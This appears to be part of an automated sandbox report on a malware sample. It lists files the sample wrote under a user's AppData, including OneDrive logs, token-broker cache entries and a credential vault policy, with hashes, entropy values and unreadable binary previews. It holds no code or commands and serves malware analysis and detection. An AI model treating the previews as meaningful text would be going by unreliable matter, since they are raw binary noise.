Preview:	1.0./.\;b.5I\...g."h+8...8...H..>y..@.L..vR...B...^6\..I.}...P....y..S..k..f@.]...-..g.TW...r....,.....G}S.EZ.@..26q..+ .`.......G\|o/A....W..]T.a'..9.F^.....j..WF..R....... 8I.+.^.g.]K,..........B.=....6...Wf1Za.k..w..K... o..B_V....."...#;...L?.N.*.E9.[.G...}.l..~G....H.K.....}.D]h:..E...6.j.z...f.....c..H.Q......hz...P..<.<h....y......W'W..>........@.'.oG...N..7..v..%3.l...&t..]g.0@F.^7..2-#...s.\|.....)<....d.W..C...h...r.m..U.b.I3.i.?.u..W..t..ki../E.l.a..Y.d.d....o...>..c..Q..2..c...6.n...b.^}.+?.. 0N$.NR.........!..-..;.v..Q....G...g....?.#.M..P.}....9.....#.-..."GY..%.....Y..........^<..E/..8....RtUc..[ECv~......l..C..{..._rI..>g..l.Kqqpn...x......4.\...K.9....B.:a)C..6y.Q.;..Iq...c..6.E.)9.p..."B@...:..Ld.+....#...q...<.D.e.s...l..j....@3T....<..3..y..H..L...mY....;.......h..@.k.A./>$..gJ!>..9\......"o.......{..d.4...F...F;dL..>..9..Y..>m...J....,..9.e.N....k.`-..w..N:. ".....@s.#EA..n../....z....7.U\.a...X....l.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3784274455047636
Encrypted:	false
SSDEEP:	384:Bx8xpkKH70jT8usWdmKpIFzIrhKNHC8le6yJD:4jkm7e8uhdViCUNHzle6k
MD5:	CCBB9A8A2FA870B0543E7FA31ED0762F
SHA1:	8018FF15A15546F908F01D57FB8B27BA81698E2D
SHA-256:	B55E51869E136FC6279A3777568BC10C4E85929DAB5933DBE97A391F4BD455AF
SHA-512:	CE8EA04DE0175B36005023A426742EAC8BDD37D83CF1CC87C55CCE2640BF29CE41E7A6FCEB311567802D0566C4CB635E891E4258FFD487590B3B0FFCFE563D62
Malicious:	false
Preview:	1.0./p....F:n:/..L....~..l...O.....}..M.{....R.<.:....Q.8...~i...&.k.3.....TR%.jc......#n.$\"T...-~.p\|..M.....X.:.^.D-.x...C...:9V...lx.f.rZ1.H....C..\|.]@.~r...y.7.:..P.@&.\|..@....,I...u.6$.......c...@.p.E..?......2..9ST4x..9....O.."U..K{#eWM......l.,..(...UFx........2&..\...Z@,.>KL.\|..%..".N^.bX}....!.\|;..f.T.W...bhb..=J..M..Y3:n.`s..[8PId.......iM..K.\.KO.'....\P.c./P.{...m..{.....?..q...".}^N.....,...Hk..@..Z.m..E.:..>.u.8jh..>..e`W......<....[.....V..Pu.Y.Q..5.%......T".x.......e..dte.\........g......^".Q+.R...P..q......P..../..<...)...1..e-#.*.0.~....Vs\|2K.(.....5.R-.Y.)fF.(....nSn....f.Us....i.w..&.@u.1W.6O.>Q.-..&i.Kwg..!.9(....[.m~s<....+U.X.'.Q}.2...y\..O.....!(j...<].>&.h.......dN........D........"=.u...!M.......4.z......O.H`;.L........fj..Yc@.......FW........8....L0x..2..o.Z..,.v.r..:...mx2N.........d>..dg.......B.....Y.....>U..........[.pW.........q..~a........s...I..k...Ed.J.T....{T...J....z.........Dx..R.~....z.B.\U_Nx.7;..E.@..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2016682908924108
Encrypted:	false
SSDEEP:	192:1q62E8hicR/GKu2t9OX3iJXKT1vRjG8y:k48hiY1dikXKRRjG8y
MD5:	8BA9D48FB64D615A2526140A28597F4F
SHA1:	8F64C30430BB4C6C800740A68DFF75E1A2621AFF
SHA-256:	F070F675CFA579D0F073430242A4FEE7FF44E2684E268164EA6641BF1A6C6DF5
SHA-512:	C01F3F87E01251398B00C36D3543497685BC7E3E0CC3047BC6A6B17E83825CADC997E25432B42F3CD93BA77867211B57DAFCB7ACAE03A22C73299211FDFEC220
Malicious:	false
Preview:	1.0./PC>...I....u......s,..(..}..H..7dNhI...T@..^...r......W..<N..3b..C..:..me.l9'.iK.^..6=...5..\{..2>3r.R..Ll..~'.:._..x.h...h."..-..x....^Q..2..............."......%.5f..[.fVp<@..f.)........ ..0.3.aw...v...9.5..............% F..H...,...a.K.i.%..U.Rh.m.]...IV..y..%+8.....&h\|$......V]1..p=Lzc..o.....V...r...'..V......:5\v.T....$.LZ.==..n(z..o......H..^.._a..Hp.6....2...zr...9.QH.RdB..b.B.<.r.......i..r.<.M....+...Ud..$.....5.W.hgK....YX.].~.....A.W..M..j....ht..m...Eo...j..r../...c..q)..B.&...cn. b.I0a.#X".ZL>..5<..;..{.a......V....@.)d.>.'y..J-.O.)Z3;.).YUwVV..;x...E.E.....y.g...$HnSR.7\|..D....eh.zzk.m.O.(.......<.^..3....-..S...\|./I..'.?.g...[.&...#.I..3.........L3..egn.M..?.........!...Zi..D\|P.d}...Vu. ...8@\|r.p.z`.......2:d...;i.Q.Mh..}>..&...._......n...=.y.w../......Uzm...qL...-,.....B.<..(.......}.....f...6...8's...w*r.>6OP..G..g..s"4rT\..S..K.@.,....5.......?.....2.],...L'..g..$..S_ ...'Z.N..N...X..E=.].:Yg3.1.x.r.YFH..vY

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.7642328098185431
Encrypted:	false
SSDEEP:	192:8jCTp/NNuQhoLYutN9ZLreeLobMiCMHcfiy0MpGQPrDzzEWo6F:vPNzCpDZLieWMid8t0srfzfF
MD5:	81C979BD1BE2B09AD002FB6144A2F8B1
SHA1:	941FD1F2035EEDDD46F1662801892420130106D3
SHA-256:	94851AF34F6ACF149A8DFCE9C7E01578C6F648FF11EF4F54EB96CAEC09CCF1DC
SHA-512:	64B240F847C20526A8471691F407817AA9E2A044F82F5C5C4A2606B11F74FAEEE4B186A2C19D0CDA71252AADE05A298E555899BF9AA1E80B838FBD6C12B14D39
Malicious:	false
Preview:	1.0./.9.X........pT6..&.b..E.K..r.......S\|.R..LE6...a/oR=.......{S.D...........dQqV/...$.e.r\..#._...A?.\'....'...0$...W..l../kx.2.KCE.?...........29..c.b...#z.kS.\.1hF.i..".E.&...<.'v{........+...."t..R..C.2O.'.......W=.`..6.8`)...d....r....M.Y...p...a...G..s..j...6;.............A....Q...t...B.&B.].b.1.@H.....u...x.yE..(.Z.nI."...T.."F.,.zN...\|.X.-.cO..w....Z.e...Q.].ql..j....r..).!Q.....F..j.............z..6.;T...Q......=.k-;t.UQ../Y......?.".;.Z#..6...Y dX...p.Y.Y..2.;\..K...._...=..[>...!d.F.0....s]FD.A..H.#.Vy.....y...8.&[..w...K}-.H...,e...t.p]D...r.K..`..0<.c.....x..%.;aO.cm.......Sy.f).....$...I..L.r..B...k...\|Ck........@......T.7.'......q.....kU s>.S.W.X.A.......!.{.\|...gZ..Y0j..>.._..4...A....F...sn>.F{z$...xT_...O...6........(:\.gx].p....P....W..iU.....5.n?...FD.x.%$...].k$.S.(.u..E@A~.6D<%L....Yo.H.a.O..q..pG<^.......c.PP./]b.....&.&h.O,.2.[..y...X.V.d......N.3'.Dd.ft.3 .]+%..0.ui...2...-..xuP....D.^..i..^H.6J..i....1z.~....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4256367079838537
Encrypted:	false
SSDEEP:	384:7RNGs2WSepAyGmdfEJvaKyckY0mBFdYLuu2TTxoRr0bwtBY8i3hILrnt:7Ry9mVEhNndY6BT2h0OBYlxIX
MD5:	2CEAFBBCB45984EFD9C28A8588F28106
SHA1:	3013AEB37A8C346C4DA271005B1A6EFBCE561390
SHA-256:	D75D008D535874ED50EB523FF81272297C9C4A7A735A200EB16ADDF77720CE70
SHA-512:	9569AF6A88D372C4CE46ED0403CCDA530AB5E1792604A41984C735AB3B0EBFAB5B2F2C30A001B091B2CCDB57F825F3B5D7A5A6C29F54F3C3FECECEB35427EE07
Malicious:	false
Preview:	SQLitSIY.m.e:..G-.:..;...z.s....,..=.s\.W..%.)...0...F($x..,....\.)!.v.uc-7..q2...........t4uP....Y ...$..Y.F.........jf..yS...5..k....I.j!B<..Sb.2.\O.{.UL_w.K....UlEj...."rv.n...G.R.X...6J.1.....kz.... p.Za...D.ua/..UN6s%.%...2yK?8.._.dy..:........B..W{H.fJ.F..C.R.e...]....\|d....A#.D.U......#d....o.....L...r%.B.S".,Y._e..]....R>.`.~l.1:.....T.^..#.%""..T........Y.4..._.3e...g.u9A...r..%#.?.w..Z:.S.C..0.LvU..:1.!."....I..+.(......x.Y..Q!..1...g....^.Q............"."...l.V........P.1.0y...^Gc..6&.D3.M..$.UB.. .....o...........ys-.^Sp,0$..A..R..7.!P......`.a8.7.!}.O=.A.4..I.X...W...% .....LX."s...c...P..(.:{.\U......C.\|b.^.......Ws......F..>.~..~..J.VY......s.....LV.?.A......V1.t.j.M\|\p......w...5b.R.[6.J..\.f..:."..zB..Ym.q5...(..A..6n...F.....z...O..=5..m7......8.VM..<!7,...g!j7.L.2.$t[.F2.n\|..?....g[....Q.(.!V=....h..nt..h..........+7[...R<.t.e.u..1....y(...U.......=/+.C.25.n..._../.UJ..._zG..q....z.L\..BJ.....EcS......b...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.427884545252905
Encrypted:	false
SSDEEP:	384:PzK3CIKr/J0etf44GgSGyps9YYXKJXaYeo9OG2ZPG0mElyG1ZzEoaUE:2SIuaet44xSPseYXKJXaK2ZPGG1ZzEi
MD5:	9881290E7D1B24A7C7BE31BE6B00394B
SHA1:	08D509A0FE4AE6FAF11D9EEF8B9424818ED96AEA
SHA-256:	82BCC7F4519E770808D9AAEECE26937233D0F68E2A57D8CE59E8F42D41E54E1D
SHA-512:	CC0E039BE22BD56AF9E514778883BB202A33CE367216C279F9B3C48AB02BB963A81E4B41E9FA9CE7A19E126778B6666C2236F32A9430E36259ED7E174D8A66C9
Malicious:	false
Preview:	SQLit=...O.W.q..a(`. ..~.>v.N?.....{.._f.epF.t..O.T.......i,1...%N...."....7(;....F....#.wc_...t..w..NC._Z.[.y..Z...b.d.8..x..........?.l.Y...;\|?M.....oG.E....!.di.A..~.y...6SQ2@..:...M..a.."I.Y...D.A..[J.......\|/&..~K.Z.z>.Z.&Dq.Y...xp0.1..}.m5O..$...\....U.,~.Aj1.........h..`...NZmh.."..$,@..8=..O.[...,.0.Q.R....}\|.....i....".w.. .G.9o>..m>.]......G.@(ur...O.9..L.~+X..U....Ro..p,.C!...e.S..tD.q...n...$g.9v.R..Q....X...;Ip..>..[..... \|.`@...p.Lz....K.I..l....'6=D.v..........OQ.N'F.e.....'.0><}}.".....q_<.H+`..a.....c.@.'.;.]....h{}#.Yrq.Y...{I.j..2#..!....l.3SR..tz......sJ..A...1.@^.J....N...%......C...b..8".y.t....r].$C.r.Y.p.m..!....p....e.....VW.[.......>....Bd..:D......my.<..y.....#.?FQ`.......MF}..;6.H...qu.......!.2M..e..k..q.i3.4.....>qA..6...\T..d2..Qd...jl.R~..<d..f.......3..L....&.k.t..@...v[.n.++.......E..1....I...<.YU..%...G.zS....=...E#==...;..}H7..e~..9!..p...:J@M.wY?......m.4].j...S.^.MvM.z^GW= N:9.......T.._[.`. .)Q..aUA&.O.e...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.663271696969181
Encrypted:	false
SSDEEP:	3072:MwuS84r0GZnUFGDNsO6DjXhniXZ4KHCZp7I7bCf01fCdRcI:MpL4r0GnDNyfxJUCZNMbO0k
MD5:	7761C51F4353B29A903E7F09F2E32DE7
SHA1:	EEA593505BD66D69258CE56EE7067D7E6AE205AB
SHA-256:	3E5DAD9D1527F887B5D16FD0B013F6AE1D5C994D422258AD5A5400DC55F4026F
SHA-512:	DB12A2F39D0FE860144003E18C3A7AA60A536D3A160C22DEB2CCA413F14978D614738AD5E4B6A31DC7F6EEB97B362362517C5D0EFB63018EA144A10190BDF094
Malicious:	false
Preview:	1G.f.....[.;...W.Qv.(.r...U....8.z1..}.,..ez.4....wa(.w.Q.W$.G\|Z....a...+gH..G.H...V..........t..n..2`O..@)f...0..dY.....a.....I...m.xP.U.....\..._&...\.1..-,u8S.....:-...@.....9dR..y....P.qa.s7;.......x..G....6..}L.&..YQ&....]f...d.\..W..Sy.`.U.....a....#...V{.....\|..8.4)e..h.........d..b)......'..RJ.7....Cp4.e.....Y..Jy.'1..s$#.)m.t....%U...C4.@q..}..}q..`...J.#@.........\|.......G-..{,..S.J....$...+....u.Y.'. ..jWg/..T....9...d......%5.......T9f...6....>......z.pk.e.&.J.7.5.~j?...G...(9.G.y.x.....\........y.q.1.9...@k.h.\kf."R.....f.Lk...f...C;....p.BI.`h...w....L.o...7 ....d./.n...$Z..c.<0._....X..gu2..7.......GD.V....;.J.7.vr.......,4.W2.....v.v.._..Ne..G.J...:B..%p_..).\|`.Jp.^..9.f...w..KJ.[...o.....8g.U....g^....S.......^.j1.I....T.d..[.......,.......%#....@...3M.I..F..%...>x.b..\|5..[E.)G.LN..!...Y..[h~./u....}k.B:/.K..+.._7&~....S..rf3>....nU;K.Pmk.......lg.p....=$.,0..`.~7;}...M+...X.m....X.....6sA.+.d`.G.V+n..`,A.2

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4241078176383395
Encrypted:	false
SSDEEP:	768:mC9rqJiSCk9PR5x8YMfB9b5OBKTKFvD8xyP:ma0iS395UZlwBn
MD5:	9AEBE6D52658C2D6B227077A5C4FC3FC
SHA1:	DE0557B1F99893133B1E5C78EEA0661C58A6BB98
SHA-256:	B242A69C233F6E5DDB4F90156A9597C0B129394A691D02D1A909D61071B7531D
SHA-512:	B88C41D96597F3E4EE54E2AF1D9D86FADB58E5E6C7E83B8CF2023206748F75EA9E7C28A8CFF58A4D916C90D53739614CE8FFF77FBABD97194F5C55ADEE9242A6
Malicious:	false
Preview:	SQLit........yo.`...6\|.f..'.w'".V..A..mwGU.,.U>.r..z.C..$.)....@@qZiK...#t.I.+.w.VF..7.&8=.g0[.;........E....".........p.A..o...`..FZ.e@PD3..~:.. ...j7.j...x.....Sp.2.-.bk..G.G).....OZ.y..K..O.i<;.....m..C.n..C.k.J~.6A.-.L...a.....4#..o....!;.>/....i.4H....g>.x;F..f....h>2.B..\s.OE...5t......Y<...........u.....u..LWY(.^(.~..".% ..?bV..aA....l.?....;...>.p.<...".'.b...^J...p.._...w.X.n.J.\|.O.`..~..........3.hT.-..0.R..1..e.9-...0.K.yE.5. ...,.B.P..l.XI.8.r.[.q..}.;,.............<''..>.^../R..<.i.Sd.........Fr4.Oo.\.u...m..\s...2.5.c.J..7~........x.......3:=...{-..qp.'.......T.IZ..?...8....E...i.~.^).,..+~..Q..lA=\|....ah...>......XFG5....p..+;...$Q...T......1.z.<.T....{.....:...q..K2Y..;...(~KV......_F....d.V..&...9lwO..../.k...:v..pu......6W..x.>c..F5..j.P.}+Q...08..FW...,.K..dUN..[.0......<Y.e..].C.v.M..G.B.....4.R.....7....."{.7f...Mg..e..7.L.j...H...4.....;....Rg....1l.._#..M...\....1.D.r..9..p..y.u.a.knB]H.[.jo...Qz......

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.818556877497985
Encrypted:	false
SSDEEP:	24:YV2moi0QdCLam7A7dq3+55DHT1K/S3DkOtcP+Zv7drEzY4PDBpmAbD:YVPoiSLaIQw305DHT1K/Uc2ZTdgVpzD
MD5:	4546DE98FE557954DDC121137D646BB8
SHA1:	457A7D7AD6EA127600A0685EF5AF41E7DDA70D2B
SHA-256:	20AE2F89166792E16EBB2272855F2A3227BCCF7DE11C579194C0A6046C973889
SHA-512:	FC4DF77B576A02BD5347D05028E3D1D7718D86BCA29966A5FCBD30E3102A8A6A1FFEFE0EA67513471681A007F77A0150324FB77DA31512CAE4BD34150A4CDCFC
Malicious:	false
Preview:	{"Rec........pWF.g.(t....O.8....}......_.E.B..X...b...w....e.mQ-.%.G...6I:..7K.......7Jd...AR... 6.c........KaSQ.pH..............e...n=..5... }..P...(..i..Gtg....J.._x...G....8.Y.->....+...#...%.7..+...~\|.k.....d..o..m\|`..p.x..<...c;M.E...C.Q0}W3..L1...<.Wi#..xgmOX.f.C.......6..S...2KH...JF...K~.&.<....d`.x).k.9......WiHQ......-."..^...\.!m.To..gk...e....5.3H@.....>...ys.w`O....T...F..Pm..k.6...0..V..{vN...^@o.k.-t.+.Y...9.gu\.P{!.yn....A.a.V..T.`G.!..`...3@j;.......zm.uJe..........i.D.o.#b.....m..&z......,.5.h..Y.gVu.c.m.Bw....c+..+.........l..,...{+.F...O.=..!...N....3..7J..axl?..?../RS...5.e.h.v.E......r.0..:'K.f.I.....e.Qq....<dCc...q.IH...a....l..a.$..?..>Gq...Z....z...,...^..K...)...gc%kz......R....e;d0.<....7..$@px.4..`J@g9T.....U5'.9..p.q..D.:`...+..m.0...x=...n.?K..I{...p.....R..t.3.....J9.5.?.<...Y.t...j...>;f...\.` .\p0.....V.9..............\kxxBH&.....).4g*\|@..QN).eR.D..3oz.#[.....Z.r.#C..ZoHO...<.....d:}..-;

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930719742799124
Encrypted:	false
SSDEEP:	48:L2VhPU1fEpXlTo1Z+2FDpCTCt06BQ8tDjLcUmdEVWAgXpAwGfih23UqHGCD:L2Vhs1fEp1U1ZLFgTCtHljLzmyGpHrhs
MD5:	A56B3A0D5051F006B3850149DBA73730
SHA1:	CF9C86920D3D69618EA5CA3485895EB6CD7F4F7B
SHA-256:	BDBFE5C4BA4803252CC549C2BFDFA017E42AA12CD7FB3DA68EEDBD4F80B075E5
SHA-512:	E1454D1492BE217AC0634BD44B7870E6AA1071FA8C36AAAC62C61A35BA8604C3B993FC3F71C2FDA08509787ADA61605177B8FFC525C460271B651AB2B4AD9650
Malicious:	false
Preview:	{.".T0..x...pD.6.K.,..?...0..U..?j.k..._.lg..Z@.#..../.sy. ..#I.8.\.......<..".{........7...>..?.<.8...3.T.45...t......#.{.w..@....}..)....!.+.'.b<.O...Ll8..}...BG..-p+..87.{n........\t....jB,.Sv..h.......4\'.\..e..m.....m..^..1k.?+}.K&. .&.C.b..s....`R.J?.t.....LKb..[..~.^..Z...>XQ.M+.N...tbD.....r...0d...L0......W6.m:4..7..t..}....P-./.. h..Z...<..=.%..b.}W].7.r..].@.i...M.E.\|..%;l.K....V...e.SS...m..Hs.@M....q'.j.....1.H.[+... ....+r.>...,.....y.NK..`.4.!].X.FU..#\f;..N....W#.F.....C3...H...I...,\.......H.Qwl.~.K....c.Y{.V...oe.~8".".........M..e\..j.o.g+...@a....P..~0E.u..B-.@......@.>..aWf;..a........x.q.1..Pn.R..M.%4..].....A..&......,.....C\\|5....C.=J...0s.X..f..U.....]u.d6.t.').. .v.m.[Z...\s5.t.6M..;._9..:R..P...b&..lv...........r...D.d;L....x."...7.:...&.]AOy....!D..M..i.&.A.!.D1...R..5.3...........>.m ..A..L.A...k..LQ.p.>.R{...G...@......7.<.....r...3....w.*q......._.S..Yn9Ar.":....x.^4.....1..ur..C^....@..j .+6.....)0.O...8.f

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937415419335863
Encrypted:	false
SSDEEP:	48:+7ra8a48e4BRIJMlsPzjrgNyMTitamPPC2FBnwQvipJvkx7GgJKKJ877n4cND:+Va5nImlsPsNNiLPYdkx7GgJ2
MD5:	4620B63E131B18FB44BCEE1302158682
SHA1:	E8A362BFAA6AC23F6942C802C9CC6BDCD922216A
SHA-256:	A7D1905914471E1A9AAFD1DF98059F540C7DD17B6F63E64DB9BDF1E0A6131950
SHA-512:	609394ED4886B7CE5C38D459AFF4D122796293799088832365C5A5B27A4CA62B57491F4C0CCA78571386A1802FE1CB2E20B52F600924302A0F3A5AC2EC28316D
Malicious:	false
Preview:	{.".T.U..%...\.c2...}...D=....U.j.1~...n.....a.sE....%oH.L.<...1.....j;..Ps..v..}..$.n/pE.F^.....6Q.i.K..K$7..........i].K!.NB/(.z......\..)..Dr......n....0......c..;..+...Z.....`$.}..N..G.#......J.;...8Y....,.........1....4.....Q..-.XH..Eh.X.u.b.I..W..$!lU.......4. "b...\..........Z.....!..i....~.....-r....8.Ok(.......i.PWo....F.....t1$vpxn5..`.i..k...)......G......A...<R:...K".Y ..n.>_......W../:.......U;.ne!..!oN>.j.~.J..i:d.......@X.e....;.$}7k.l ......t..+....N\|?..fMaw9<A gd.&U{)A....\|f..H...P9.......m....'H.<A........2.kQ..8Pk....[...qX....Y...*"...\.y.<.,..DK......(e.V....'...K.mX5&..4A....N~...o.J0.&m......gT(.......i<>{....FK....z...p...%.vg^..~k..........\| .=$....;.%......;....s..'..a...c.. Z.^........8..s...6S.J....d....e0..[@...PV..d.9(>NCNe.u_g.O.YB../......7......2x...?..5...U.U...8..BJC........~Qm..S....0A.NW...7...#..(z.....@...gn..........JD."A....~J....</.......\|.^0$....`.."`...2..X....6.(s..J..J.F..J....J"-.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.959639260349596
Encrypted:	false
SSDEEP:	96:b7FT+8455sYVGHQCf2NGySFzsEbaoM/y7zYcZIqHH0T6guYp4tNrnzSduXmy:b7Fi84MsNxDEvZNvHH0OgEtZzauXmy
MD5:	148399C6EEB9AACFA9CF901BF046ADF6
SHA1:	6412DF4005B76F1EEF219AAF4800CA4B20C11ED2
SHA-256:	0E255C5993DE632365905D0255FD317718398342C4DDB90D04BC7896BDDACFDF
SHA-512:	0AFE3AA926999209B133756E2363CF021FAB2507EC3FCEF4778CD78BF619D8DBEC9761A5B1CDBEA19D590E61CE7C6075BC1B567A32565ADAE0B0836B4D4D0A9B
Malicious:	false
Preview:	{.".T..x..6).;....J.%.)...a.]L\F....tw.Y$..r...N.at......rmZ.+........0.1.(2.Y..K.(...`....U......;AI.......6.......!.4{..y.U.....I`.SZ.a.JS.=.A......3(..e..Lf[.g..`..8..k.=..>_x..[..(^....m..O.v.6."..o........!}3....mt......]....D."....mt..A=.MZ......?^......,r.+6F.,..\|.z....EO3O.,.\........i..BM..zP....$.og..a.zgO..'..N.#oe...wv...C1..D.%)G..'y....:.l.^..q.....0.1.T.L..@.f..4....p....Fq..w.VI.fa..-..dL1.Y...[-h.zO6.Nr..l.b..Wr.$..9..@a(.?A...(v......Y..Z......l.[.B1i...0...O....\..a...S.P....R.R...j.6j....N.K...n0..H.......k.C..PS.b$..s..h\|xN.' ......3r...#q..."..@.>Bwh...3...s...E..e.o..QL..P..........I.hUsy......... ......7..^b......<.{/....\|......%..bo&..165P....B..x[.H.v.0$.._T...l..o.._...3.T...D.e\.......m..Nj.R%......5.3.,.......L..s.q.w.2@<....-{.d.<E...m.z.,<.jn._^.....#t..Qz}....%6..~.^k!Y...AN\|.z;...Qt..+....>R....@s.s..A3...N.......J.6..F.3.T..!.$L......k........z.V.]&..M"$j..\|l+.D.=X.U..'[....O.YH..0d..U. {.(.2=....:

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937360213538989
Encrypted:	false
SSDEEP:	48:2dZ25czwmUJfEww7ALOKTGKc4eBG/EJKegRdMXpVTXFAncfoK6fPU1NwwFaaFIiH:koYBUGAL7GKc4EQZf+pacf+U1Nwc1FIG
MD5:	C93F223DE7E0A580D58B5ECC08AA2DD4
SHA1:	035A573B63DAC20BFC6C1411702D8C0E08F9FBC6
SHA-256:	D772379A5D83D7C464EC63B9C30410B1600754DFED18E789927059B3CCA4B2ED
SHA-512:	2DFE9591245171824236DF467A9FC5A1DF86ABD52CC35E1C81F4582733B2B7B5A59C47A541069EE5E2D18FF96BAE210A4C0676EC8ACAB29FA1A0B91B32631390
Malicious:	false
Preview:	{.".T....6.#r.N.2.W.p.Y]A.....VO..,.M..$.....?..}.>..dQ.}_#".25.Vb.f..f.\......M.:F..`.'.5.Ul.10z........+ty D..........k....q..^L&....].uy."....jxi2...5<.H.^Y.s.......P0.p(.e.......$.[.Cd.!t.WN9....U..........W..e.........( ..A.[.v8..g"=K........4.<."n.,.....,.cK0..v.8:.E..?\|.E.8T7&&i.y.5..a..xbG.'...b..G..xd.qb?#/..L...qU-+:8R.....z.}],.'.#7.g).....0.[..W...?.@7>!.._...1.Y...k....q...E....y.7.S9b.dF......K...D.....K.{e.e.h..oZ/c.#......i.\.=[q...!k........^3....Nx...r<j!.s.Q..xan...b..K_lO..I.I.h.....$3.(.?...&.9...W;R9..Iy...~...Q.P.._.D[;....t9c.}...c."w......>.FH....'i.A...nZ".T.........is.tPx..e.(...$M........R[=.a...[.0..pj.6...-/..+=wI.Nb..9...V'.4.T.Pm.^R...q..tCZ6=).\|.......}l..X..V..~3...X!.B.f.s.w!...u\|.....j.(.L.un&.v.`.p..\.P......^..4...]f:..,....8\'.....U.e;.P..D-?..c/!.....}...v.xx...5.7...4jx....3C\qS7.\|c,v_.(...^..-OT....P....e....8..t9.`.9.Nv.r..I..E..R...j@f>..)b.h...I8.....2_.p..L.(o=.Z.h.4J...0......

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929500148276171
Encrypted:	false
SSDEEP:	48:O4njBq2Aaza22ah/FQSO49nh5QI2cc5Tf8SjV9eEa7BD:xnlq8Oxo64VPFATHV9c
MD5:	2F5D8E800E60B33C713B5C6750D5B410
SHA1:	368CC587BDF815AB0E1E77F850AE9BBAB22BC427
SHA-256:	0709522368BA5A4194019DE37789EFA36C9750C4F8630895633DAA70FCE0E124
SHA-512:	0575319C8CA789224E90D53815D6F9A636C02FBC78BA78944BEFDAE8544AFA9EA23807B60BCAD97FC92FA1231DE174B103896B550A3E9E18F110165993E00CA3
Malicious:	false
Preview:	{.".T9..Q.5...q.:.[O..z.L#.p.L.f<Nid&`..c.C%.".x...S.A\|..Z..(\|..h..........X.7.RtCtl..9....?f...2....5..%.....O.,s..^.Q.(#.X'...VK9........,b7}].jU..E....ci..!.$7.YEYe.......eT.1.u....^.9.....Y.%.?...O.B....g....t...c].V.T....`.`e.....A..#.r..:...t._.(..b..O..o..'...\....N.!T.....Kew.`.W.!....\|..`T.5.^..E.ytMs.....g....Qa}..y.q...I..k...gT(.Y[..sK.......C4..['.9r.P...g%....bY}...{'.[.#?...,......V.B...U..%pJ..!GM.......,)....Q..l.d.k.'#...\|X...........t...9"...1!f.3..S..>..ca..d......L..Gh,..Og..6.-.}.El...G..ey./...Xf..\..O.\|5.-.#.eF.......-A..L...k.o.,}....:T..\;..Y.y.%o..5.=..@....@.3......x.....ms.\|.!....J...]O........Zz.........).....L.k.,!#e..>.?Y.5...dX....k...4..I...+`.p.......8.O...K...zy.Z.W.\..g.T.e.....\|...:.U..G2E..(..._....hE.......l...kq.xB..#..\oE.....p.<Ah.P#.v...[....m=......[.F.(r..8:M@.....O.\...m.P.'q..Q....Rl-.]O.p..u......4&*K...f.h.\.L.1.s...J..d.si..r....Rw...u..O...S..A.i.bI.....JHT.P...).b.N.x.g.

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.705214833545388
Encrypted:	false
SSDEEP:	24:I1BVJFQoIC+ueQMhB9FRdNyyOKgnskwI224qbD:AVJF6CgFhBw9AI2nID
MD5:	3CFFBC9A9DBF7089DCE53B0FA326EE9F
SHA1:	51CE205BC5D43790649FC992A20EB0003A175203
SHA-256:	75FFACB3C1E08A228CAAA51EFA0952EAAD1AD71694B7518F0CB0829E9C636DF6
